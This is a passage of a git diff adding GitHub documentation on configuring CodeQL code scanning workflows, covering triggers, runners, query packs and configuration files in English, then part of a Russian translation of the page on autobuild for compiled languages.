setting](/assets/images/help/repository/code-scanning-check-failure-setting.png) + +### Avoiding unnecessary scans of pull requests + +You might want to avoid a code scan being triggered on specific pull requests targeted against the default branch, irrespective of which files have been changed. You can configure this by specifying `on:pull_request:paths-ignore` or `on:pull_request:paths` in the {% data variables.product.prodname_code_scanning %} workflow. For example, if the only changes in a pull request are to files with the file extensions `.md` or `.txt` you can use the following `paths-ignore` array. + +``` yaml +on: + push: + branches: [main, protected] + pull_request: + branches: [main] + paths-ignore: + - '**/*.md' + - '**/*.txt' +``` + +{% note %} + +**Notes** + +* `on:pull_request:paths-ignore` and `on:pull_request:paths` set conditions that determine whether the actions in the workflow will run on a pull request. They don't determine what files will be analyzed when the actions _are_ run. When a pull request contains any files that are not matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, the workflow runs the actions and scans all of the files changed in the pull request, including those matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, unless the files have been excluded. For information on how to exclude files from analysis, see "[Specifying directories to scan](#specifying-directories-to-scan)." +* For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} workflow files, don't use the `paths-ignore` or `paths` keywords with the `on:push` event as this is likely to cause missing analyses. For accurate results, {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} needs to be able to compare new changes with the analysis of the previous commit. + +{% endnote %} + +For more information about using `on:pull_request:paths-ignore` and `on:pull_request:paths` to determine when a workflow will run for a pull request, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)." + +### Scanning on a schedule + +If you use the default {% data variables.code-scanning.codeql_workflow %}, the workflow will scan the code in your repository once a week, in addition to the scans triggered by events. To adjust this schedule, edit the `cron` value in the workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onschedule)." + +{% note %} + +**Note**: {% data variables.product.prodname_dotcom %} only runs scheduled jobs that are in workflows on the default branch. Changing the schedule in a workflow on any other branch has no effect until you merge the branch into the default branch. + +{% endnote %} + +### Example + +The following example shows a {% data variables.code-scanning.codeql_workflow %} for a particular repository that has a default branch called `main` and one protected branch called `protected`. + +``` yaml +on: + push: + branches: [main, protected] + pull_request: + branches: [main] + schedule: + - cron: '20 14 * * 1' +``` + +This workflow scans: +* Every push to the default branch and the protected branch +* Every pull request to the default branch +* The default branch every Monday at 14:20 UTC + +## Specifying an operating system + +If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.code-scanning.codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %} + +``` yaml +jobs: + analyze: + name: Analyze + runs-on: [ubuntu-latest] +``` + +If you choose to use a self-hosted runner for code scanning, you can specify an operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% endif %} + +``` yaml +jobs: + analyze: + name: Analyze + runs-on: [self-hosted, ubuntu-latest] +``` + +{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} supports the latest versions of Ubuntu, Windows, and macOS. Typical values for this setting are therefore: `ubuntu-latest`, `windows-latest`, and `macos-latest`. For more information, see "[Choosing the runner for a job](/actions/using-jobs/choosing-the-runner-for-a-job)" and "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)." + +{% ifversion ghes %}You must ensure that Git is in the PATH variable on your self-hosted runners.{% else %}If you use a self-hosted runner, you must ensure that Git is in the PATH variable.{% endif %} For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + +For recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis{% ifversion not ghes %} on self-hosted machines{% endif %}, see "[Recommended hardware resources for running {% data variables.product.prodname_codeql %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql)." + +## Specifying the location for {% data variables.product.prodname_codeql %} databases + +In general, you do not need to worry about where the {% data variables.code-scanning.codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action. + +``` yaml +- uses: {% data reusables.actions.action-codeql-action-init %} + with: + db-location: {% raw %}'${{ github.workspace }}/codeql_dbs'{% endraw %} +``` + +The {% data variables.code-scanning.codeql_workflow %} will expect the path provided in `db-location` to be writable, and either not exist, or be an empty directory. When using this parameter in a job running on a self-hosted runner or using a Docker container, it's the responsibility of the user to ensure that the chosen directory is cleared between runs, or that the databases are removed once they are no longer needed. {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %} + +If this parameter is not used, the {% data variables.code-scanning.codeql_workflow %} will create databases in a temporary location of its own choice. + +## Changing the languages that are analyzed + +{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} automatically detects code written in the supported languages. + +{% data reusables.code-scanning.codeql-languages-bullets %} + +The default {% data variables.code-scanning.codeql_workflow %} file contains a matrix called `language` which lists the languages in your repository that are analyzed. {% data variables.product.prodname_codeql %} automatically populates this matrix when you add {% data variables.product.prodname_code_scanning %} to a repository. Using the `language` matrix optimizes {% data variables.product.prodname_codeql %} to run each analysis in parallel. We recommend that all workflows adopt this configuration due to the performance benefits of parallelizing builds. For more information about matrices, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)." + +{% data reusables.code-scanning.specify-language-to-analyze %} + +If your workflow uses the `language` matrix then {% data variables.product.prodname_codeql %} is hardcoded to analyze only the languages in the matrix. To change the languages you want to analyze, edit the value of the matrix variable. You can remove a language to prevent it being analyzed or you can add a language that was not present in the repository when {% data variables.product.prodname_code_scanning %} was set up. For example, if the repository initially only contained JavaScript when {% data variables.product.prodname_code_scanning %} was set up, and you later added Python code, you will need to add `python` to the matrix. + +```yaml +jobs: + analyze: + name: Analyze + ... + strategy: + fail-fast: false + matrix: + language: ['javascript', 'python'] +``` + +If your workflow does not contain a matrix called `language`, then {% data variables.product.prodname_codeql %} is configured to run analysis sequentially. If you don't specify languages in the workflow, {% data variables.product.prodname_codeql %} automatically detects, and attempts to analyze, any supported languages in the repository. If you want to choose which languages to analyze, without using a matrix, you can use the `languages` parameter under the `init` action. + +```yaml +- uses: {% data reusables.actions.action-codeql-action-init %} + with: + languages: cpp, csharp, python +``` +{% ifversion fpt or ghec %} +## Analyzing Python dependencies + +For GitHub-hosted runners that use Linux only, the {% data variables.code-scanning.codeql_workflow %} will try to auto-install Python dependencies to give more results for the CodeQL analysis. You can control this behavior by specifying the `setup-python-dependencies` parameter for the action called by the "Initialize CodeQL" step. By default, this parameter is set to `true`: + +- If the repository contains code written in Python, the "Initialize CodeQL" step installs the necessary dependencies on the GitHub-hosted runner. If the auto-install succeeds, the action also sets the environment variable `CODEQL_PYTHON` to the Python executable file that includes the dependencies. + +- If the repository doesn't have any Python dependencies, or the dependencies are specified in an unexpected way, you'll get a warning and the action will continue with the remaining jobs. The action can run successfully even when there are problems interpreting dependencies, but the results may be incomplete. + +Alternatively, you can install Python dependencies manually on any operating system. You will need to add `setup-python-dependencies` and set it to `false`, as well as set `CODEQL_PYTHON` to the Python executable that includes the dependencies, as shown in this workflow extract: + +```yaml +jobs: + CodeQL-Build: + runs-on: ubuntu-latest + permissions: + security-events: write + actions: read + + steps: + - name: Checkout repository + uses: {% data reusables.actions.action-checkout %} + - name: Set up Python + uses: {% data reusables.actions.action-setup-python %} + with: + python-version: '3.x' + - name: Install dependencies + run: | + python -m pip install --upgrade pip + if [ -f requirements.txt ]; + then pip install -r requirements.txt; + fi + # Set the `CODEQL-PYTHON` environment variable to the Python executable + # that includes the dependencies + echo "CODEQL_PYTHON=$(which python)" >> $GITHUB_ENV + - name: Initialize CodeQL + uses: {% data reusables.actions.action-codeql-action-init %} + with: + languages: python + # Override the default behavior so that the action doesn't attempt + # to auto-install Python dependencies + setup-python-dependencies: false +``` +{% endif %} + +## Configuring a category for the analysis + +Use `category` to distinguish between multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. The category you specify in your workflow will be included in the SARIF results file. + +This parameter is particularly useful if you work with monorepos and have multiple SARIF files for different components of the monorepo. + +``` yaml + - name: Perform CodeQL Analysis + uses: {% data reusables.actions.action-codeql-action-analyze %} + with: + # Optional. Specify a category to distinguish between multiple analyses + # for the same tool and ref. If you don't use `category` in your workflow, + # GitHub will generate a default category name for you + category: "my_category" +``` + +If you don't specify a `category` parameter in your workflow, {% data variables.product.product_name %} will generate a category name for you, based on the name of the workflow file triggering the action, the action name, and any matrix variables. For example: +- The `.github/workflows/codeql-analysis.yml` workflow and the `analyze` action will produce the category `.github/workflows/codeql.yml:analyze`. +- The `.github/workflows/codeql-analysis.yml` workflow, the `analyze` action, and the `{language: javascript, os: linux}` matrix variables will produce the category `.github/workflows/codeql-analysis.yml:analyze/language:javascript/os:linux`. + +The `category` value will appear as the `.automationDetails.id` property in SARIF v2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning#runautomationdetails-object)." + +Your specified category will not overwrite the details of the `runAutomationDetails` object in the SARIF file, if included. + +## Running additional queries + +{% data reusables.code-scanning.run-additional-queries %} + +{% ifversion codeql-packs %} +### Using {% data variables.product.prodname_codeql %} query packs + +{% data reusables.code-scanning.beta-codeql-packs-cli %} + +To add one or more {% data variables.product.prodname_codeql %} query packs (beta), add a `with: packs:` entry within the `uses: {% data reusables.actions.action-codeql-action-init %}` section of the workflow. Within `packs` you specify one or more packages to use and, optionally, which version to download. Where you don't specify a version, the latest version is downloaded. If you want to use packages that are not publicly available, you need to set the `GITHUB_TOKEN` environment variable to a secret that has access to the packages. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)." + +{% note %} + +**Note:** For workflows that generate {% data variables.product.prodname_codeql %} databases for multiple languages, you must instead specify the {% data variables.product.prodname_codeql %} query packs in a configuration file. For more information, see "[Specifying {% data variables.product.prodname_codeql %} query packs](#specifying-codeql-query-packs)" below. + +{% endnote %} + +In the example below, `scope` is the organization or personal account that published the package. When the workflow runs, the four {% data variables.product.prodname_codeql %} query packs are downloaded from {% data variables.product.product_name %} and the default queries or query suite for each pack run: +- The latest version of `pack1` is downloaded and all default queries are run. +- Version 1.2.3 of `pack2` is downloaded and all default queries are run. +- The latest version of `pack3` that is compatible with version 3.2.1 is downloaded and all queries are run. +- Version 4.5.6 of `pack4` is downloaded and only the queries found in `path/to/queries` are run. + +``` yaml +- uses: {% data reusables.actions.action-codeql-action-init %} + with: + # Comma-separated list of packs to download + packs: scope/pack1,scope/pack2@1.2.3,scope/pack3@~3.2.1,scope/pack4@4.5.6:path/to/queries +``` + +### Downloading {% data variables.product.prodname_codeql %} packs from {% data variables.product.prodname_ghe_server %} + +If your workflow uses packs that are published on a {% data variables.product.prodname_ghe_server %} installation, you need to tell your workflow where to find them. You can do this by using the `registries` input of the {% data reusables.actions.action-codeql-action-init %} action. This input accepts a list of `url`, `packages`, and `token` properties as shown below. + +``` +- uses: {% data reusables.actions.action-codeql-action-init %} + with: + registries: {% raw %}| + # URL to the container registry, usually in this format + - url: https://containers.GHEHOSTNAME1/v2/ + + # List of package glob patterns to be found at this registry + packages: + - my-company/* + - my-company2/* + + # Token, which should be stored as a secret + token: ${{ secrets.GHEHOSTNAME1_TOKEN }} + + # URL to the default container registry + - url: https://ghcr.io/v2/ + # Packages can also be a string + packages: "*/*" + token: ${{ secrets.GHCR_TOKEN }} + + {% endraw %} +``` + +The package patterns in the registries list are examined in order, so you should generally place the most specific package patterns first. The values for `token` must be a {% data variables.product.pat_v1 %} generated by the GitHub instance you are downloading from with the `read:packages` permission. + +Notice the `|` after the `registries` property name. This is important since {% data variables.product.prodname_actions %} inputs can only accept strings. Using the `|` converts the subsequent text to a string, which is parsed later by the {% data reusables.actions.action-codeql-action-init %} action. + +### Using queries in QL packs +{% endif %} +To add one or more queries, add a `with: queries:` entry within the `uses: {% data reusables.actions.action-codeql-action-init %}` section of the workflow. If the queries are in a private repository, use the `external-repository-token` parameter to specify a token that has access to checkout the private repository. + +``` yaml +- uses: {% data reusables.actions.action-codeql-action-init %} + with: + queries: COMMA-SEPARATED LIST OF PATHS + # Optional. Provide a token to access queries stored in private repositories. + external-repository-token: {% raw %}${{ secrets.ACCESS_TOKEN }}{% endraw %} +``` + +You can also specify query suites in the value of `queries`. Query suites are collections of queries, usually grouped by purpose or language. + +{% data reusables.code-scanning.codeql-query-suites-explanation %} + +{% ifversion codeql-packs %} +### Working with custom configuration files +{% endif %} + +If you also use a configuration file for custom settings, any additional {% ifversion codeql-packs %}packs or {% endif %}queries specified in your workflow are used instead of those specified in the configuration file. If you want to run the combined set of additional {% ifversion codeql-packs %}packs or {% endif %}queries, prefix the value of {% ifversion codeql-packs %}`packs` or {% endif %}`queries` in the workflow with the `+` symbol. For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)." + +In the following example, the `+` symbol ensures that the specified additional {% ifversion codeql-packs %}packs and {% endif %}queries are used together with any specified in the referenced configuration file. + +``` yaml +- uses: {% data reusables.actions.action-codeql-action-init %} + with: + config-file: ./.github/codeql/codeql-config.yml + queries: +security-and-quality,octo-org/python-qlpack/show_ifs.ql@main + {%- ifversion codeql-packs %} + packs: +scope/pack1,scope/pack2@1.2.3,scope/pack3@4.5.6:path/to/queries + {%- endif %} +``` + +## Using a custom configuration file + +A custom configuration file is an alternative way to specify additional {% ifversion codeql-packs %}packs and {% endif %}queries to run. You can also use the file to disable the default queries{% ifversion code-scanning-exclude-queries-from-analysis %}, exclude or include specific queries,{% endif %} and to specify which directories to scan during analysis. + +In the workflow file, use the `config-file` parameter of the `init` action to specify the path to the configuration file you want to use. This example loads the configuration file _./.github/codeql/codeql-config.yml_. + +``` yaml +- uses: {% data reusables.actions.action-codeql-action-init %} + with: + config-file: ./.github/codeql/codeql-config.yml +``` + +{% data reusables.code-scanning.custom-configuration-file %} + +If the configuration file is located in an external private repository, use the `external-repository-token` parameter of the `init` action to specify a token that has access to the private repository. + +```yaml +- uses: {% data reusables.actions.action-codeql-action-init %} + with: + external-repository-token: {% raw %}${{ secrets.ACCESS_TOKEN }}{% endraw %} +``` + +The settings in the configuration file are written in YAML format. + +{% ifversion codeql-packs %} +### Specifying {% data variables.product.prodname_codeql %} query packs + +{% data reusables.code-scanning.beta-codeql-packs-cli %} + +You specify {% data variables.product.prodname_codeql %} query packs in an array. Note that the format is different from the format used by the workflow file. + +{% raw %} +``` yaml +packs: + # Use the latest version of 'pack1' published by 'scope' + - scope/pack1 + # Use version 1.2.3 of 'pack2' + - scope/pack2@1.2.3 + # Use the latest version of 'pack3' compatible with 3.2.1 + - scope/pack3@~3.2.1 + # Use pack4 and restrict it to queries found in the 'path/to/queries' directory + - scope/pack4:path/to/queries + # Use pack5 and restrict it to the query 'path/to/single/query.ql' + - scope/pack5:path/to/single/query.ql + # Use pack6 and restrict it to the query suite 'path/to/suite.qls' + - scope/pack6:path/to/suite.qls +``` +{% endraw %} + +The full format for specifying a query pack is `scope/name[@version][:path]`. Both `version` and `path` are optional. `version` is semver version range. If it is missing, the latest version is used. For more information about semver ranges, see the [semver docs on npm](https://docs.npmjs.com/cli/v6/using-npm/semver#ranges). + +If you have a workflow that generates more than one {% data variables.product.prodname_codeql %} database, you can specify any {% data variables.product.prodname_codeql %} query packs to run in a custom configuration file using a nested map of packs. + +{% raw %} +``` yaml +packs: + # Use these packs for JavaScript analysis + javascript: + - scope/js-pack1 + - scope/js-pack2 + # Use these packs for Java analysis + java: + - scope/java-pack1 + - scope/java-pack2@v1.0.0 +``` +{% endraw %} +{% endif %} + +### Specifying additional queries + +You specify additional queries in a `queries` array. Each element of the array contains a `uses` parameter with a value that identifies a single query file, a directory containing query files, or a query suite definition file. + +``` yaml +queries: + - uses: ./my-basic-queries/example-query.ql + - uses: ./my-advanced-queries + - uses: ./query-suites/my-security-queries.qls +``` + +Optionally, you can give each array element a name, as shown in the example configuration files below. For more information about additional queries, see "[Running additional queries](#running-additional-queries)" above. + +### Disabling the default queries + +If you only want to run custom queries, you can disable the default security queries by using `disable-default-queries: true`. + +{% ifversion code-scanning-exclude-queries-from-analysis %} +### Excluding specific queries from analysis + +You can add `exclude` and `include` filters to your custom configuration file, to specify the queries you want to exclude or include in the analysis. + +This is useful if you want to exclude, for example: +- Specific queries from the default suites (`security`, `security-extended` and `security-and-quality`). +- Specific queries whose results do not interest you. +- All the queries that generate warnings and recommendations. + +You can use `exclude` filters similar to those in the configuration file below to exclude queries that you want to remove from the default analysis. In the example of configuration file below, both the `js/redundant-assignment` and the `js/useless-assignment-to-local` queries are excluded from analysis. + +```yaml +query-filters: + - exclude: + id: js/redundant-assignment + - exclude: + id: js/useless-assignment-to-local +``` +To find the id of a query, you can click the alert in the list of alerts in the Security tab. This opens the alert details page. The `Rule ID` field contains the query id. For more information about the alert details page, see "[About {% data variables.product.prodname_code_scanning %} alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-alert-details)." + +{% tip %} + +**Tips:** +- The order of the filters is important. The first filter instruction that appears after the instructions about the queries and query packs determines whether the queries are included or excluded by default. +- Subsequent instructions are executed in order and the instructions that appear later in the file take precedence over the earlier instructions. + +{% endtip %} + +You can find another example illustrating the use of these filters in the "[Example configuration files](#example-configuration-files)" section. + +For more information about using `exclude` and `include` filters in your custom configuration file, see "[Creating {% data variables.product.prodname_codeql %} query suites](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/#filtering-the-queries-in-a-query-suite)." For information on the query metadata you can filter on, see "[Metadata for CodeQL queries](https://codeql.github.com/docs/writing-codeql-queries/metadata-for-codeql-queries/)." + +{% endif %} + +### Specifying directories to scan + +For the interpreted languages that {% data variables.product.prodname_codeql %} supports (Python{% ifversion fpt or ghes > 3.3 or ghae > 3.3 %}, Ruby{% endif %} and JavaScript/TypeScript), you can restrict {% data variables.product.prodname_code_scanning %} to files in specific directories by adding a `paths` array to the configuration file. You can exclude the files in specific directories from analysis by adding a `paths-ignore` array. + +``` yaml +paths: + - src +paths-ignore: + - src/node_modules + - '**/*.test.js' +``` + +{% note %} + +**Note**: + +* The `paths` and `paths-ignore` keywords, used in the context of the {% data variables.product.prodname_code_scanning %} configuration file, should not be confused with the same keywords when used for `on..paths` in a workflow. When they are used to modify `on.` in a workflow, they determine whether the actions will be run when someone modifies code in the specified directories. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)." +* The filter pattern characters `?`, `+`, `[`, `]`, and `!` are not supported and will be matched literally. +* `**` characters can only be at the start or end of a line, or surrounded by slashes, and you can't mix `**` and other characters. For example, `foo/**`, `**/foo`, and `foo/**/bar` are all allowed syntax, but `**foo` isn't. However you can use single stars along with other characters, as shown in the example. You'll need to quote anything that contains a `*` character. + +{% endnote %} + +For compiled languages, if you want to limit {% data variables.product.prodname_code_scanning %} to specific directories in your project, you must specify appropriate build steps in the workflow. The commands you need to use to exclude a directory from the build will depend on your build system. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." + +You can quickly analyze small portions of a monorepo when you modify code in specific directories. You'll need to both exclude directories in your build steps and use the `paths-ignore` and `paths` keywords for [`on.`](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore) in your workflow. + +### Example configuration files + +{% data reusables.code-scanning.example-configuration-files %} + +## Configuring {% data variables.product.prodname_code_scanning %} for compiled languages + +{% data reusables.code-scanning.autobuild-compiled-languages %} {% data reusables.code-scanning.analyze-go %} + +{% data reusables.code-scanning.autobuild-add-build-steps %} For more information about how to configure {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for compiled languages, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages)." + +## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %} + +{% data variables.product.prodname_dotcom %} can display code analysis data generated externally by a third-party tool. You can upload code analysis data with the `upload-sarif` action. For more information, see "[Uploading a SARIF file to GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)." diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md new file mode 100644 index 000000000000..701fb17383e9 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md @@ -0,0 +1,155 @@ +--- +title: Настройка рабочего процесса CodeQL для скомпилированных языков +shortTitle: Configure compiled languages +intro: 'Вы можете настроить, как {% data variables.product.prodname_dotcom %} использует {% data variables.code-scanning.codeql_workflow %} для сканирования кода, написанного на скомпилированных языках, на наличие уязвимостей и ошибок.' +product: '{% data reusables.gated-features.code-scanning %}' +permissions: 'If you have write permissions to a repository, you can configure {% data variables.product.prodname_code_scanning %} for that repository.' +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning-for-compiled-languages + - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-the-codeql-action-for-compiled-languages + - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-the-codeql-workflow-for-compiled-languages + - /code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - CodeQL + - Actions + - Repositories + - C/C++ + - C# + - Java +ms.openlocfilehash: 91983e79a6381b4a38cbb1de4f6d7f228637b192 +ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/11/2022 +ms.locfileid: '148161202' +--- +{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} + +## Сведения о {% data variables.code-scanning.codeql_workflow %} и скомпилированных языках + +Настройте {% data variables.product.prodname_dotcom %}, чтобы использовать {% data variables.product.prodname_code_scanning %} для своего репозитория, добавив в репозиторий рабочий процесс {% data variables.product.prodname_actions %}. Для {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} добавьте {% data variables.code-scanning.codeql_workflow %}. Дополнительные сведения см. в статье [Настройка функции {% data variables.product.prodname_code_scanning %} для репозитория](/code-security/secure-coding/setting-up-code-scanning-for-a-repository). + +{% data reusables.code-scanning.edit-workflow %} Общие сведения о настройке {% data variables.product.prodname_code_scanning %} и изменнии файлов рабочего процесса приведены в статье [Настройка функции "{% data variables.product.prodname_code_scanning %}"](/code-security/secure-coding/configuring-code-scanning) и [Общие сведения о {% data variables.product.prodname_actions %}](/actions/learn-github-actions). + +## Сведения об автоматической сборке для {% data variables.product.prodname_codeql %} + +{% data variables.product.prodname_code_scanning_capc %} выполняет запросы к одной или нескольким базам данных. Каждая база данных содержит представление всего кода на одном языке в репозитории. +Для скомпилированных языков C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} и Java процесс заполнения этой базы данных включает сборку кода и извлечение данных. {% data reusables.code-scanning.analyze-go %} + +{% data reusables.code-scanning.autobuild-compiled-languages %} + +Если рабочий процесс использует таблицу `language`, `autobuild` пытается собрать каждый из компилируемых языков, перечисленных в матрице. Если вы не используете таблицу, `autobuild` попытается выполнить сборку на поддерживаемом компилируемом языке с наибольшим числом исходных файлов в репозитории. За исключением Go, анализ других компилируемых языков в репозитории завершится ошибкой, если вы не предоставите команды сборки в явном виде. + +{% note %} + +{% ifversion ghae %} **Примечание.** {% data reusables.actions.self-hosted-runners-software %} {% else %} **Примечание.** Если для {% data variables.product.prodname_actions %} используются локальные средства выполнения тестов, может потребоваться установить дополнительное программное обеспечение для использования процесса `autobuild`. Кроме того, что если для вашего репозитория требуется определенная версия инструмента сборки, вам может потребоваться сначала установить его вручную. Дополнительные сведения см. в статье [Спецификации для средств выполнения тестов, размещенных на {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software). +{% endif %} + +{% endnote %} + +### C/C++ + +| Поддерживаемый тип системы | Имя системы | +|----|----| +| Операционная система | Windows, macOS и Linux | +| Система сборки | Windows: MSbuild и скрипты сборки
Linux и macOS: Autoconf, Make, CMake, qmake, Meson, Waf, SCons, Linux Kbuild и скрипты сборки | + +Поведение шага `autobuild` зависит от операционной системы, в которой выполняется извлечение. В Windows шаг `autobuild` пытается выполнить автоматическое определение подходящего метода сборки для C/C++ с помощью следующего подхода: + +1. Вызов `MSBuild.exe` для файла решения (`.sln`) или проекта (`.vcxproj`), ближайшего к корневому каталогу. +Если `autobuild` обнаруживает несколько файлов решения или проекта с одной и той же (самой короткой) глубиной относительно каталога верхнего уровня, он попытается собрать все из них. +2. Вызов скрипта, который похож на скрипт сборки — _build.bat_, _build.cmd_ и _build.exe_ (в этом порядке). + +На Linux и macOS шаг `autobuild` проверяет наличие файлов в репозитории, чтобы определить используемую систему сборки: + +1. Поиск системы сборки в корневом каталоге. +2. Если она не будет найдена, выполняется поиск по подкаталогам уникального каталога с системой сборки для C/C++. +3. Выполнение соответствующей команду, чтобы настроить систему. + +### C# + +| Поддерживаемый тип системы | Имя системы | +|----|----| +| Операционная система | Windows и Linux | +| Система сборки | .NET и MSbuild, а также скрипты сборки | + +Процесс `autobuild` пытается выполнить автоматическое определение подходящего метода сборки для C# с помощью следующего подхода: + +1. Вызов `dotnet build` для файла решения (`.sln`) или проекта (`.csproj`), ближайшего к корневому каталогу. +2. Вызов `MSbuild` (Linux) или (Windows) для файла решения (`MSBuild.exe`) или проекта, ближайшего к корневому каталогу. +Если `autobuild` обнаруживает несколько файлов решения или проекта с одной и той же (самой короткой) глубиной относительно каталога верхнего уровня, он попытается собрать все из них. +3. Вызов скрипта, который выглядит как скрипт сборки —_build_ и _build.sh_ (в этом порядке для Linux) или _build.bat_, _build.cmd_ и _build.exe_ (в этом порядке для Windows). + +{% ifversion codeql-go-autobuild %} + +### Go + +| Поддерживаемый тип системы | Имя системы | +|----|----| +| Операционная система | Windows, macOS и Linux | +| Система сборки | Модули `dep` Go и Glide, а также скрипты сборки, включая makefiles и скрипты Ninja | + +Процесс `autobuild` пытается автоматически определить подходящий способ установки зависимостей, необходимых репозиторию Go, перед извлечением всех `.go` файлов: + +1. Вызовите `make`, `ninja``./build` или `./build.sh` (в таком порядке), пока не будет выполнена одна из этих команд, а следующая `go list ./...` команда также не будет успешно выполнена, указывая на установку необходимых зависимостей. +2. Если ни одна из этих команд не выполнена успешно, найдите `go.mod`или `glide.yaml``Gopkg.toml` и выполните команду `go get` (если не используется поставщик) `dep ensure -v` или`glide install`, соответственно, чтобы попытаться установить зависимости. +3. Наконец, если файлы конфигураций для этих диспетчеров зависимостей не найдены, измените порядок структуры каталогов репозитория, подходящую для добавления в `GOPATH`, и используйте для `go get` установки зависимостей. После завершения извлечения структура каталогов возвращается в нормальное состояние. +4. Извлеките весь код Go в репозитории, аналогично выполнению `go build ./...`. + +{% endif %} + +### Java + +| Поддерживаемый тип системы | Имя системы | +|----|----| +| Операционная система | Windows, macOS и Linux (без ограничений) | +| Система сборки | Gradle, Maven и Ant | + +Процесс `autobuild` пытается определить систему сборки для баз кода Java, применяя следующую стратегию: + +1. Поиск файла сборки в корневом каталоге. Проверка наличия файлов сборки Gradle, затем Maven, а затем Ant. +2. Запуск первого найденного файла сборки. Если присутствуют файлы и Gradle, и Maven, используется файл Gradle. +3. В противном случае выполняется поиск файлов сборки в непосредственных подкаталогах корневого каталога. Если только один подкаталог содержит файлы сборки, запускается первый файл, определенный в этом подкаталоге (используя тот же приоритет, что и для 1). Если несколько подкаталогов содержат файлы сборки, возникает об ошибка. + +## Добавление шагов сборки для компилируемого языка + +{% data reusables.code-scanning.autobuild-add-build-steps %} Сведения об изменении файла рабочего процесса можно найти в сттье [Настройка функции "{% data variables.product.prodname_code_scanning %}"](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow). + +После удаления шага `autobuild` раскомментируйте запуска `run` и добавьте команды сборки, которые подходят для вашего репозитория. Шаг рабочего процесса `run` используется для запуска программы командной строки с помощью оболочки операционной системы. Вы можете изменить эти команды и добавить дополнительные команды для настройки процесса сборки. + +``` yaml +- run: | + make bootstrap + make release +``` + +Дополнительные сведения о ключевом слове `run` см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun). + +Если репозиторий содержит несколько компилируемых языков, можно указать команды сборки для конкретного языка. Например, если репозиторий содержит C/C++, C# и Java и 